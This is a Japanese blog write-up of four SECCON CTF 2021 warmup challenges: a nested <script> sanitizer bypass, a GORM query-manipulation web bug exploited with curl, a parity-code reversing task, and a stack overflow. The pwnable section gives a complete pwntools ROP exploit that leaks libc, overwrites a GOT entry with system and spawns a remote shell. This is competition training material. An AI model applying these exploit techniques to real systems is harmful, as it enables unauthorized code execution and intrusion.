0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

SECCON CTF 2021 Writeup

Last updated at Posted at 2021-12-12

2021/12/11 14:00 〜 2021/12/12 14:00 (JST) で行われた SECCON CTF に参加しました。予定があったので土曜日しか参加できませんでしたが、warmupを4問解きました。(warmup しか解けなくてつらい)

crypto

sage なんもわからん。

misc

s/<script>//gi (95pts, 115 solves)

Can you figure out why s/<script>//gi is insufficient for sanitizing? This can be bypassed with <scr<script>ipt>.

Remove <script> (case insensitive) from the input until the input contains no <script>.

Note that flag format is SECCON{[\x20-\x7e]+}, which means that the flag may contains < or > as the following examples.

Sample Input 1:
S3CC0N{dum<scr<script>ipt>my}

Sample Output 1:
S3CC0N{dummy}

Sample Input 2 (small.txt):
S3CC0N{dumm<scrIpT>y_flag>_<_pt>>PT><<SCr<S<<SC<SCRIpT><scRiPT>Ript>sCr<Scri<...

Sample Output 2:
S3CC0N{dummy_flag>_<_pt>>PT><sCRIp<scr<scr<scr!pt>ipt>ipt>}

flag.tar.gz eeebd12d261e75268a178b6090582cc91c95856a

大文字小文字を気にせずに、再帰的に <script> を取り除くことができればいいらしい。添付ファイルを展開すると flag.txtsmall.txt が得られた。

$ wc -c flag.txt small.txt
 67108968 flag.txt
    3276 small.txt
 67112244 total

flag.txt は 6000万文字オーバー。このテキストに何度も置換を行うのは確かに現実的ではない。ジャンルに ppc とある通り、何らかの工夫をして <script> の除去を行うプログラムを作る。

初めに考えたポイントは以下の通り。

  • 置換対象は < で始まり、> で終わる
  • <scr<script>ipt> のようにネストすることがある

ファイルの先頭から1文字ずつ見ていき、ネストレベルごとに配列に分けて、< にヒットしたら配列のインデックスを1つ上げ、> にヒットしたら <script> に一致するかを判定しつつ、配列のインデックスを1つ下げるという方法を取れば、うまく除去できるのではないかと考えた。

small.txt を使ってプログラムを確認し、正しい回答と一致したプログラムが出来たら flag.txt にかけたところ、回答が得られた。

solver.py
txt = open('./flag.txt').read()
table = ["" for _ in range(5000000)]

cnt: int = 0

for i, s in enumerate(txt):
    if s == '<':
        cnt += 1

    table[cnt] += s

    if s == '>' and cnt > 0:
        if table[cnt].lower() != '<script>':
            table[cnt-1] += table[cnt]

        table[cnt] = ''

        cnt -= 1

    if i % 10000 == 0:
        print(f'\r{i}', end='', flush=True)

ans = ''
for s in table:
    if s:
        ans += s
    else:
        break

print()
print(ans)
$ python3 solver.py
67100000
SECCON{sanitizing_is_not_so_good><_escaping_is_better_iPt><SCript<ScrIpT<scRIp<scRI<Sc<scr!pt>}

Python しかまともに書けないので処理時間が心配だったが、20秒程度で答えが求まって良かった。メモリは400MBくらい食っていたが、競プロみたいな制限はないので問題なし。

ちなみに range(1000000) でやったら配列足りなくて落ちたので、100万ネスト以上ある模様。

SECCON{sanitizing_is_not_so_good><_escaping_is_better_iPt><SCript<ScrIpT<scRIp<scRI<Sc<scr!pt>}

web

Vulnerabilities (103pts, 94 solves)

How many vulnerabilities do you know?

vulnerabilities.tar.gz f21b37dbe4f4573b59220a4f8dad139f4eb955f0

https://vulnerabilities.quals.seccon.jp

Go で作られたサイト。脆弱性をリストから選ぶとそのイメージを表示してくれるアプリケーションらしい。

ソースコードを見ると、脆弱性の一覧は SQLite の DB で管理されており、フラグはその最後に挿入されていた。GET で脆弱性の一覧を取得する際、フラグだけ出力しないようになっている。

	//	Return a list of vulnerability names
	//	{"Vulnerabilities": ["Heartbleed", "Badlock", ...]}
	r.GET("/api/vulnerabilities", func(c *gin.Context) {
		var vulns []Vulnerability
		if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil {
			c.JSON(400, gin.H{"Error": "DB error"})
			return
		}
		var names []string
		for _, vuln := range vulns {
			names = append(names, vuln.Name)
		}
		c.JSON(200, gin.H{"Vulnerabilities": names})
	})

ユーザの入力は POST で受け付けており、Name 属性を含む JSON 形式で送信する必要があると分かった。

	//	Return details of the vulnerability
	//	{"Logo": "???.png", "URL": "https://..."}
	r.POST("/api/vulnerability", func(c *gin.Context) {
		//	Validate the parameter
		var json map[string]interface{}
		if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
			c.JSON(400, gin.H{"Error": "JSON error 1"})
			return
		}
		if name, ok := json["Name"]; !ok || name == "" || name == nil {
			c.JSON(400, gin.H{"Error": "no \"Name\""})
			return
		}

		//	Get details of the vulnerability
		var query Vulnerability
		if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
			c.JSON(400, gin.H{"Error": "JSON error 2"})
			return
		}
		var vuln Vulnerability
		if err := db.Where(&query).First(&vuln).Error; err != nil {
			c.JSON(404, gin.H{"Error": "not found"})
			return
		}

		c.JSON(200, gin.H{
			"Logo": vuln.Logo,
			"URL":  vuln.URL,
		})
	})

DB へのアクセスは gorm というフレームワーク?(ライブラリ?)が使用されていると分かる。データベースへのアクセスは db.Where の部分で Where というメソッドを使って呼び出しているので、この部分を調べてみる。

gorm where とかでググると以下のページがヒットした。今回は構造体が指定されているので、この部分になる。

ここで注意書きを見ると次のようなことが書かれている。

構造体を使ってクエリを実行するとき、GORMは非ゼロ値なフィールドのみを利用します。つまり、フィールドの値が 0, '', false または他の ゼロ値の場合、 クエリ条件の作成に使用されません。

つまり、Name を空文字や falsenull などにできれば、その条件を無視できると分かる。しかし、ソースコード中では空文字か null である場合は no "Name" を返すようになっているので、簡単ではないようだ。また仮に Name を空にできたとしても、フラグを指定することはできないため、別のアプローチが必要になる。

さらにソースコードを眺めていると、以下のところで目が止まった。

type Vulnerability struct {
	gorm.Model
	Name string
	Logo string
	URL  string
}

ユーザの入力である query は、この構造体の形式に合わないと受け入れてもらえない。ここで一番上の gorm.Model というのが気になった。そこでこれについてググってみると、以下のページにたどり着いた。

これまた公式ドキュメントだが、gorm.Model を入れると ID などの構造体が含まれるようになるということらしい。つまり Vulnerability の構造体は以下と等価になる。

type Vulnerability struct {
	ID        uint           `gorm:"primaryKey"`
	CreatedAt time.Time
	UpdatedAt time.Time
	DeletedAt gorm.DeletedAt `gorm:"index"`
	Name string
	Logo string
	URL  string
}

ここで試しに、ID というキーも含めて API を叩いてみた。

$ curl https://vulnerabilities.quals.seccon.jp/api/vulnerability -XPOST -H 'Content-Type: application/json' -d '{"ID":1,"Name":"Heartbleed"}'
{"Logo":"/images/heartbleed.png","URL":"https://heartbleed.com/"}

$ curl https://vulnerabilities.quals.seccon.jp/api/vulnerability -XPOST -H 'Content-Type: application/json' -d '{"ID":2,"Name":"Heartbleed"}'
{"Error":"not found"}

ID=1, Name="Heartbleed" とした時は結果が返ってきたが、ID=2, Name="Heartbleed" とすると結果が返ってこなかった。これによって Heartbleed の ID1 であることと、ID のキーによって DB のクエリを操作できることが分かった。

ここまでを整理すると、Name を空文字などにした上で、ID=14 を呼び出せればフラグが得られそうだ。ふと、SECCON Beginners CTF 2021 で出題された、同じような問題を思い出した。Name のキーを複数入れたら、不具合を起こさないかと思い実験していたら、以下のクエリでフラグが得られた。

$ curl https://vulnerabilities.quals.seccon.jp/api/vulnerability -XPOST -H 'Content-Type: application/json' -d '{"ID":14,"Name":"AAA","name":""}'
{"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"}

どうやら小文字にしたのが良かったらしい。そういえば確かに DB のカラム名は大文字小文字は無視されてたっけ。

SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}

reversing

currupted flag (130pts, 55 solves)

It looks like some bits of the flag are corrupted.

corrupted_flag.tar.gz c1d9cff47b1ae816609c93a072b09ef0561b7e96

添付ファイルを展開すると、corruptflag.txt.enc の2つのファイルが得られた。corrupt が 64bit の ELF バイナリだったので、Ghidra でデコンパイルした。

出できたコードを読んだが、頭こんがらがったので、Python でそれっぽく書き直した。

それっぽい Python コード
def corrupt(flag: str):
    length = len(flag)
    size = ((length*7) // 4) + 1

    data = bytearray(length * 14)

    offset = 0

    if length:
        for c in flag:
            for i in [1, 5]:
                ascii = ord(c)
                b2 = ascii >> (i - 1)
                data[offset + 0] = b2 & 1               # 最下位ビット
                b3 = ascii >> i
                b4 = b2 ^ b3
                data[offset + 1] = b3 & 1               # 下から2番目
                b3 = ascii >> (i + 1)
                data[offset + 2] = b3 & 1               # 下から3番目
                data[offset + 3] = (b4 ^ b3) ^ 1        # .111 の XOR

                b1 = ascii >> (i + 2)
                data[offset + 4] = b1 & 1               # 下から4番目
                data[offset + 5] = (b4 ^ b1) & 1        # 1.11 の XOR
                data[offset + 6] = (b3 ^ b2 ^ b1) & 1   # 11.1 の XOR

                offset += 7

                # ランダムで1つだけひっくり返すかもしれない

            offset += 14

もう一つフェーズがあるが、そっちは書き直すのが面倒になって書かなかった。ざっくりとした処理は次の通り。

  1. 入力サイズの14倍のサイズを確保
  2. 入力を1文字ずつ ASCII コード値に直し、14個の配列に対して次の処理を行う
    • 下位4ビットに分ける
    • 1番目に最下位ビット (0 or 1)
    • 2番目に下から2番目のビット (0 or 1)
    • 3番目に下から3番目のビット (0 or 1)
    • 4番目に1,2,3のXOR (0 or 1)
    • 5番目に下から4番目のビット (0 or 1)
    • 6番目に1,2,5のXOR (0 or 1)
    • 7番目に1,3,5のXOR (0 or 1)
    • ランダムで1つだけ反転 (反転しない場合もある)
    • 上位4ビットで同じ操作を実施
  3. 出来上がった 0 と 1 の羅列を8個ずつに分けて、逆順にしてから16進数(1バイト)に戻す

文字で説明するのは難しいが、ようは7ビット中1ビットだけ反転する可能性があり、4ビットはそのままの値、残りの3ビットがパリティビットのようなものになっている。

処理が分かれば後は逆順に復元すればいいので、スクリプトを書いて実行したらフラグが得られた。

solver.py
enc = open('./flag.txt.enc.org', 'rb').read()
bits = ''

for b in enc:
    bits += f'{b:08b}'[::-1]

bits = [bits[i*7:i*7+7] for i in range(len(bits) // 7)]

def fix_parity(data: str) -> int:
    assert len(data) == 7
    bits = list(map(int, (data[4], data[2], data[1], data[0])))
    correct = list(map(int, (data[3], data[5], data[6])))
    parities = (bits[1]^bits[2]^bits[3], bits[0]^bits[2]^bits[3], bits[0]^bits[1]^bits[3])

    if correct[0] != parities[0] and correct[1] != parities[1] and correct[2] != parities[2]:
        bits[3] ^= 1
    elif correct[0] == parities[0] and correct[1] != parities[1] and correct[2] != parities[2]:
        bits[0] ^= 1
    elif correct[0] != parities[0] and correct[1] == parities[1] and correct[2] != parities[2]:
        bits[1] ^= 1
    elif correct[0] != parities[0] and correct[1] != parities[1] and correct[2] == parities[2]:
        bits[2] ^= 1

    return int(''.join(map(str, bits)), 2)

for i in range(len(bits) // 2):
    lb = fix_parity(bits[i*2])
    hb = fix_parity(bits[i*2+1])
    b = (hb << 4) + lb
    print(chr(b), end='', flush=True)

print()
$ python3 solver.py
SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}

パリティビットを修復する良いプログラムがわからなかったので、ゴリ押し暴力のスクリプトになってしまった。

SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}

pwnable

Average Calculator (129pts, 56 solves)

Average is the best representative value!

average.tar.gz f95d7e7e67267ae40191cd69bbb56167b70a6852

nc average.quals.seccon.jp 1234

ソースコードがあってありがたい。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    long long n, i;
    long long A[16];
    long long sum, average;

    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    printf("n: ");
    if (scanf("%lld", &n)!=1)
        exit(0);
    for (i=0; i<n; i++)
    {
        printf("A[%lld]: ", i);
        if (scanf("%lld", &A[i])!=1)
            exit(0);
        //  prevent integer overflow in summation
        if (A[i]<-123456789LL || 123456789LL<A[i])
        {
            printf("too large\n");
            exit(0);
        }
    }

    sum = 0;
    for (i=0; i<n; i++)
        sum += A[i];
    average = (sum+n/2)/n;
    printf("Average = %lld\n", average);
}

脆弱性は自明で、A[16] と16個分の配列しか確保していないところに、n をそれ以上指定すると範囲外書き込みができる。スタックの高位のアドレスをいくらでも書き換えられるので、ROP ができるはず。

しかし、テストで動かしてみると途中で落ちてしまった。

$ ./average
n: 20
A[0]: 0
(snip)
A[16]: 0
[1]    1777975 floating point exception (core dumped)  ./average

よくわからないままとりあえず GDB で確認してみると、どうやら17番目に n の変数が入っているようで、ここを 0 に書き換えてしまったためにエラーとなったようだ。同様に20番目には i が格納されており、リターンアドレスが格納されているのは 22番目ということが分かった。

あとは ni に注意しながら ROP するだけと思っていたが、Libc のアドレスを取ったあとで詰まった。

        //  prevent integer overflow in summation
        if (A[i]<-123456789LL || 123456789LL<A[i])
        {
            printf("too large\n");
            exit(0);
        }

見逃してた… 今回は system のアドレスや One gadget のアドレスを直接スタックに積もうとしても、これで引っかかりできない。そこで scanf('%lld', &hoge) の部分を使って、puts などの GOT を書き換えて、そこに飛ばすようにすることでシェルを取る方針を取った。

プログラムが悪いのか One gadget が動作しなかったので、/bin/sh を .bss セクションに書き込んで、そのアドレスを rdi にセットしてから system を呼んだ。

exploit.py
from pwn import *

BIN = './average'
HOST = 'average.quals.seccon.jp'
PORT = 1234

context.binary = BIN
elf = ELF(BIN)
libc = ELF('./libc.so.6', checksec=False)

# p = process(BIN)
p = remote(HOST, PORT)

def play(n: int):
    p.sendlineafter(b': ', str(n).encode())

# input n
n = 16+5
play(n+4)

# fill A
for _ in range(16):
    play(0)

# input to n
play(n+4)

# dummy
play(0)
play(0)

# input to i
play(19)

# dummy
play(0)

# ROP start!
rop_ret = 0x0040101a
rop_rsi_r15 = 0x004013a1
rop_rdi = 0x004013a3

play(rop_rdi)
play(elf.got.puts)
play(elf.plt.puts)
play(elf.sym.main)

# Get LIBC address
p.recvline()
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leak: {hex(leak)}')

ofs_puts = libc.sym.puts
libc_base = leak - ofs_puts
log.info(f'Libc: {libc_base:#x}')

# second try
play(n+16)
for _ in range(16):
    play(0)
play(n+16)
play(0)
play(0)
play(19)
play(0)

# ROP start!
rop_one_gadget = libc_base + 0xdf73c
system = libc_base + libc.sym.system
bss = elf.bss() + 0x80
str_lld = next(elf.search(b'%lld'))

play(rop_rsi_r15)
play(bss)
play(0)
play(rop_rdi)
play(str_lld)
play(elf.plt.__isoc99_scanf)
play(rop_rdi)
play(str_lld)
play(rop_rsi_r15)
play(elf.got.puts)
play(0)
play(elf.plt.__isoc99_scanf)
play(rop_rdi)
play(bss)
play(rop_ret)
play(elf.plt.puts)

# log.info(f'One gadget: {rop_one_gadget}')
bin_sh = u64(b'/bin/sh\0')
log.info(f'/bin/sh: {bin_sh}')
log.info(f'system: {system}')

p.recvline()
p.sendline(str(bin_sh).encode())
p.sendline(str(system).encode())

p.interactive()
$ python3 exploit.py
[*] 'seccon2021/pwn/average/average'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to average.quals.seccon.jp on port 1234: Done
[*] Leak: 0x7fc7e0e3ed90
[*] Libc: 0x7fc7e0dbe000
[*] /bin/sh: 29400045130965551
[*] system: 140496448054208
[*] Switching to interactive mode
$ ls
average
average.sh
flag.txt
$ cat fl*
SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}

/bin/sh を入れるところ、リトルエンディアンとビッグエンディアンが逆になっていて一生分の時間を溶かした。

SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}

感想

普段積極的にCTFに参加している kusano氏 や kurenaif氏 が作問者になっていてテンション上がりました(いつも Writeup でお世話になっております)。時間取れればもっと解きたかったですが、warmup も解きごたえがあって楽しかったです。

大会運営に携わった皆様、本当にお疲れさまでした。ありがとうございました。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?